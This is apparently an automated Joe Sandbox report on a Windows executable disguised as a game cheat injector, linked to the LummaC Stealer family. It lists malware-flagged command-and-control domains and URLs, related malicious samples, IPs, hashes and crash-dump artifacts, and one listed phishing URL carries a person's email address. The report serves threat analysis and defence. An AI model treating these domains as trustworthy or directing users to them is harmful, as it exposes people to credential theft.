https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org?q=	CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mrodularmall.top/p	CheatInjector.exe1.exe, 00000002.00000003.1544554955.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://menuedgarli.shop/AUIqnBHR	CheatInjector.exe1.exe, 00000002.00000003.1413332602.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1413505562.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CheatInjector.exe1.exe, 00000002.00000003.1485137796.0000000003ABD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mrodularmall.top/aNzStH	CheatInjector.exe1.exe, 00000002.00000003.1413332602.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1413505562.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/v20	CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mrodularmall.top/aNzSf	CheatInjector.exe1.exe, 00000002.00000002.2614288618.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228900501.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.telegram.orgX-Frame-OptionsALLOW-FROM	CheatInjector.exe1.exe, 00000002.00000003.1387743522.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web.telegram.orgPersistent-AuthWWW-AuthenticateVarystel_ssid=f7cc2ea85f50737ed6_132178671729	CheatInjector.exe1.exe, 00000002.00000003.1387743522.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtabv209h	CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jowinjoinery.icu/bdWUaQ	CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000002.2614179705.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mrodularmall.top/aNzSR	CheatInjector.exe1.exe, 00000002.00000003.1441325413.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mrodularmall.top/aNzSV	CheatInjector.exe1.exe, 00000002.00000003.1441325413.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	CheatInjector.exe1.exe, 00000002.00000003.1485137796.0000000003ABD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mrodularmall.top/	CheatInjector.exe1.exe, 00000002.00000003.1413505562.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.32.1	mrodularmall.top	United States	13335	CLOUDFLARENETUS	false
188.114.96.3	jowinjoinery.icu	European Union	13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637279
Start date and time:	2025-03-13 13:38:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CheatInjector.exe1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/6@5/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 83% Number of executed functions: 16 Number of non-executed functions: 141
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.40.67.196, 2.19.122.39, 20.190.160.17, 172.202.163.200, 150.171.28.10, 2.19.96.50, 4.175.87.197
Excluded domains from analysis (whitelisted): www.bing.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, g.bing.com, umwatson.events.data.microsoft.com, onedsblobvmssprdwus02.westus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target CheatInjector.exe1.exe, PID 8808 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:39:40	API Interceptor	8x Sleep call for process: CheatInjector.exe1.exe modified
08:39:44	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.32.1	arGdXDmyGJ.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/a669/
	2rvyZc27tz.exe	Get hash	malicious	FormBook	Browse	www.kdrqcyusevx.info/k7wl/
	Final PayStub.exe	Get hash	malicious	FormBook	Browse	www.oddsideodylicoopod.cloud/g43m/?chops=VTj0v6ZXr6p4dp&Ezr8U8lh=iHr8ZanSEmppv2NUfEI3Sn+a6zMFeevffxq5V5At5Kf3VZBf0vxOCE6EQW7iEjpklZqKgy7LQg==
	JOB NO. AIQ8478.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	DHL AWB Receipt_pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/
	MmF9tcIj1J.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/lqfq/
	Payment Invoice ref0306252.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/a669/
	DHL AWB Receipt_pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/
	RFQ - 1239- PERSIAN GULF BIDBOLAND PDH PROJECT-PDF.exe	Get hash	malicious	FormBook	Browse	www.kdrqcyusevx.info/k7wl/
	PRI_VTK250419A.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/scc1/five/fre.php
188.114.96.3	kVPzMgJglW.exe	Get hash	malicious	FormBook	Browse	www.serenityos.dev/dntg/
	tnZI8EzSx3.exe	Get hash	malicious	FormBook	Browse	www.fkrvhaupjtc.info/sdhm/
	7zKn77RsRX.exe	Get hash	malicious	FormBook	Browse	www.serenityos.dev/dntg/
	hQaXUS5gt0.exe	Get hash	malicious	FormBook	Browse	www.serenityos.dev/dntg/
	zzSk99EqY0.exe	Get hash	malicious	FormBook	Browse	www.fkrvhaupjtc.info/sdhm/
	2k3GtCY6Zz.exe	Get hash	malicious	FormBook	Browse	www.fkrvhaupjtc.info/nhmj/
	3tEL1ZRXA6.exe	Get hash	malicious	FormBook	Browse	www.marposet.shop/6ixs/?Ar6T=oN0T/Esi7H2jJ4TMjw8b93BQPnEdNzyQiBUPeT1k8Z/eibB9ghV+qpvP7NsuhjacLnuX6HraU4xmdMUu2umYnCC8s1rtYFvj99qSyPPCwvQggIKSHQ==&Lfpd=o6ndcl
	2rvyZc27tz.exe	Get hash	malicious	FormBook	Browse	www.timeinsardinia.info/50g8/
	INVOICE 4562.exe	Get hash	malicious	FormBook	Browse	www.timeinsardinia.info/jjft/
	Payment-031025-pdf.exe	Get hash	malicious	FormBook	Browse	www.ezjytrkuqlw.info/zsr7/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	SimpleLoader v2.1.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	http://khr.lfp.mybluehost.me/intesasanpaolo/web/login.php	Get hash	malicious	Unknown	Browse	50.6.3.255
	https://khr.lfp.mybluehost.me/intesasanpaolo/web/login.php/	Get hash	malicious	Unknown	Browse	50.6.3.255
	Launcher.exe	Get hash	malicious	LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	149.154.167.99
	Aura.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	M1gP5m86Gn.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	ca703fd579bbcee73544b9b37f8a6469.bin.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	DEVM24-clean.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	kumori.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	ShadowLoader.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
jowinjoinery.icu	L0erlgyZ6f.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	188.114.97.3
	13s1HMkHKv.exe	Get hash	malicious	Amadey, DarkVision Rat, Fallen Miner, LummaC Stealer	Browse	188.114.96.3
	ModMenu.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SpaceCheatFort.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	noypjksdaw.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	x1D44JHWDf.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	dawothjkjad.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	dawothjkjad.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	Aura.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SecuriteInfo.com.Win32.MalwareX-gen.1567.5483.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
mrodularmall.top	L0erlgyZ6f.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.48.1
	Kiddion's Modest Menu v.1.0.0.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.21.64.1
	ModMenu.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	SpaceCheatFort.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	Aura.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	noypjksdaw.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	x1D44JHWDf.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	DEVM24-clean.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	ScreenSync.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.96.1
	vktyhkakwdrg.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	NDQ211216GM08.exe.bin.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	SimpleLoader v2.1.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	2025 5595 TEKL#U0130F #U0130STE#U011e#U0130 - T#U00dcB#U0130TAK SAGE RFQ_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SOA Since OCT DEC 241738316681530012900.bat	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.DropperX-gen.23511.10885.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://parta-doc.surge.sh/connexion.html	Get hash	malicious	Unknown	Browse	149.154.167.220
	Launcher.exe	Get hash	malicious	LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	149.154.167.99
	PO-2513203-PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	justificante de transferencia09454545.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	SC110-11#U3000Order_Z01G-00008D Siparis PO15804-25 - H64PO1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	FortniteHack.exe1.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.96.3
	NDQ211216GM08.exe.bin.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	setupx 1.exe1.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	172.67.19.24
	Installer64x.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	setupx 2.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	ModMenu.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SoftWare(2).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SimpleLoader v2.1.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.144.37
	SoftWare(1).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	https://llttfr.boa.ink/?fr=gemma.inglis@heritageportfolio.co.uk	Get hash	malicious	Unknown	Browse	104.17.25.14
CLOUDFLARENETUS	FortniteHack.exe1.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.96.3
	NDQ211216GM08.exe.bin.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	setupx 1.exe1.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	172.67.19.24
	Installer64x.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	setupx 2.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	ModMenu.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SoftWare(2).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SimpleLoader v2.1.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.144.37
	SoftWare(1).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	https://llttfr.boa.ink/?fr=gemma.inglis@heritageportfolio.co.uk	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	FortniteHack.exe1.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.21.32.1 149.154.167.99 188.114.96.3
	setupx 1.exe1.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.21.32.1 149.154.167.99 188.114.96.3
	Installer64x.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1 149.154.167.99 188.114.96.3
	setupx 2.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1 149.154.167.99 188.114.96.3
	ModMenu.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1 149.154.167.99 188.114.96.3
	SoftWare(2).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1 149.154.167.99 188.114.96.3
	SimpleLoader v2.1.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1 149.154.167.99 188.114.96.3
	SoftWare(1).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1 149.154.167.99 188.114.96.3
	script5.ps1	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1 149.154.167.99 188.114.96.3
	PO #S149102025.xlsx	Get hash	malicious	Unknown	Browse	104.21.32.1 149.154.167.99 188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_CheatInjector.ex_18edc53277a54ad32ef23d6403a351e86d161b_553f006c_7b4e9e36-885d-474d-a533-3d10ee0bac2c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7289135279007585
Encrypted:	false
SSDEEP:	192:75/Ow87qv0BU/Gk6j/+zuiFUZ24IO8VBi:lW7HBU/QjmzuiFUY4IO8+
MD5:	BC04C2AE1079FC70B4B0B4937366526F
SHA1:	C01025F28D1248588CF38EDEE320B66B7790076A
SHA-256:	C055DA70E72F8D106317B1840D2C76A02BBB3A92424896A0AFCA837114DF8790
SHA-512:	F2B52B552DD7DEF077181D2657E9EF9CF9C7A5D1D953343AC60FEDD32F9FC561B9EEDDFDAF1A2B67517DECD227C1FDFA577211A6349A33FB6FE4945EAD97397D
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.6.3.4.3.1.7.8.5.3.7.1.3.7.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.6.3.4.3.1.7.9.0.9.9.6.3.9.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.b.4.e.9.e.3.6.-.8.8.5.d.-.4.7.4.d.-.a.5.3.3.-.3.d.1.0.e.e.0.b.a.c.2.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.7.6.8.0.6.2.0.-.2.1.8.7.-.4.6.2.f.-.8.e.e.8.-.0.b.6.c.b.4.5.0.5.e.3.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.C.h.e.a.t.I.n.j.e.c.t.o.r...e.x.e.1...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.2.2.2.8.-.0.0.0.1.-.0.0.1.8.-.4.0.a.3.-.8.e.f.b.1.4.9.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.e.2.4.7.a.6.d.3.9.d.0.0.2.6.4.3.f.f.d.7.e.8.a.e.a.5.f.0.a.9.4.0.0.0.0.f.f.f.f.!.0.0.0.0.b.1.a.a.f.e.d.4.1.b.0.c.8.0.8.9.5.0.6.5.9.3.4.9.d.d.6.a.4.d.3.2.8.d.c.d.7.9.d.d.!.C.h.e.a.t.I.n.j.e.c.t.o.r...e.x.e.1...e.x.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D57.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Mar 13 12:39:38 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	36326
Entropy (8bit):	1.7769571722636537
Encrypted:	false
SSDEEP:	192:BT8sK9wLmOmqXs1t6DLaugJH8CXMYz24ZhvzXh:5tBvc1t6PgsYz2
MD5:	E5DA016E1E85FE8FE964A7DFC93FCD6C
SHA1:	9A006FF182F71CEBC0F28C29556C977B05DA87F5
SHA-256:	2B7BACB081FD9D8FC8EEB7BBFEA7EE16095F6E9A05B620EDACABB047ECA30386
SHA-512:	33FBF497589D3D7B7DA0DFFC82BE75C464DBF71640DF377C88D12CF82E51D8F519C9015DCB6BF26B1FC9FE70758A5DA41D8FE42238A24C73C2DF11CA46772EAF
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........g........................0...............v...........T.......8...........T................~......................................................................................................eJ......P.......GenuineIntel............T.......(".....g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1E43.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8432
Entropy (8bit):	3.6980278307439414
Encrypted:	false
SSDEEP:	192:R6l7wVeJSrB56j6YVySUbZsgmff2mprr89bDYLsffxum:R6lXJS76j6YgSUdsgmf+PDYQfJ3
MD5:	D35FFAA3D39BC54F9311964BDF4D0389
SHA1:	D05E8494D90B01C58C8162DED03BAB3FE331CDAF
SHA-256:	670AB33CE5BB5E5CACEF7641B749F70453DCB652291B5290E9CD993B982A35C7
SHA-512:	44FB26653C4C3680F8EC32AE9EE14EF37890178CD259EF5A6F3077D183B0A41DEA99EBC8F514E6F57245417678B3A9B465C374A60157FED6E413338D1D95F1B8
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.7.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1EC1.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.490783419399422
Encrypted:	false
SSDEEP:	48:cvIwWl8zsINJg77aI9puWOa8tLYm8M4J9iFTUQz+q8vUYz8qkd:uIjfInI7PPOlcJtQzKdz8qkd
MD5:	DB51DE0A3C0365101645564421E52F8F
SHA1:	C80A188710A8AF54026F8317BB16CAF639A34DC8
SHA-256:	D5C143DEB8BE4CC08A21286B779B3C36E6968D6C0DB96A88019B85D7EF6D33AF
SHA-512:	FB05D9B86403BDB34919CAED0DD23470221BECAA7AB4452F0CEE5F879026027220454B4CA3F647238431ECCC94D44CC6047371776BF26B3044FBC211740581C4
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="759102" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465222874669998
Encrypted:	false
SSDEEP:	6144:yhyS6Wwrm/Ivk8bWdx0W0cAdQa8WMFlnOvAeoMqWu8O/RJhDnydqXVehE:OyJKF0fBvAexuTDdydKcE
MD5:	64CAE3941F6426D67C84721792978DCC
SHA1:	B863D45A8F5134444DB97D8D78D40631E51C3BCA
SHA-256:	97677553DB2C3B0D131FABAB392B10E4E2296B8D0299076FBFB0990B63A901CE
SHA-512:	4004655248B817AEA83AF373CF33F0820CB11084E339096C3C427693B0BC6F3C05875D040A82A85CA7BAD823EB0C6001783023782C3CB08A093A6C06C2F87F47
Malicious:	false
Reputation:	low
Preview:	regfL...L....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.;..b...............................................................................................................................................................................................................................................................................................................................................:>..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.587696999502985
Encrypted:	false
SSDEEP:	768:FQDYXLQf57tI6/q63hplhuhMRyvKtZ0CVVdDVA2Gv+svyfRouaNWiW2:FQsc57tT+GjVxAfa2
MD5:	97BBCCA532BC14A3D6DAC1595BDA2E58
SHA1:	F8D1D636F163FD9484AAF5535804DA6AB2F199ED
SHA-256:	857A6088668D93B56B03CD41E351217CACA42F73B96C0814F324E017D9E0235D
SHA-512:	4C838CD3985E1587B215D433212EB420E1C54BB85A7EADC8DB00348231A3CE7753E9659C3FE249B04952712BF7C20003E8228EB84C8BFA1CADD45AC8104EC5EF
Malicious:	false
Reputation:	low
Preview:	regfK...K....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.;..b...............................................................................................................................................................................................................................................................................................................................................<>..HvLE........K...............9......{_......................................................0..hbin.................\.Z............nk,..\.Z........P...........h...................................<.......&...{11517B7C-E79D-4e20-961B-75A811715ADD}..`...sk..........@...........\...l.............H.........?...................?...................?........... ... ........... ... ...................$.N..........vk..4...`...........CreatingCommand.....O.n.e.D.r.i.v.e.S.e.t.u.p...e.x.e. .

Static File Info

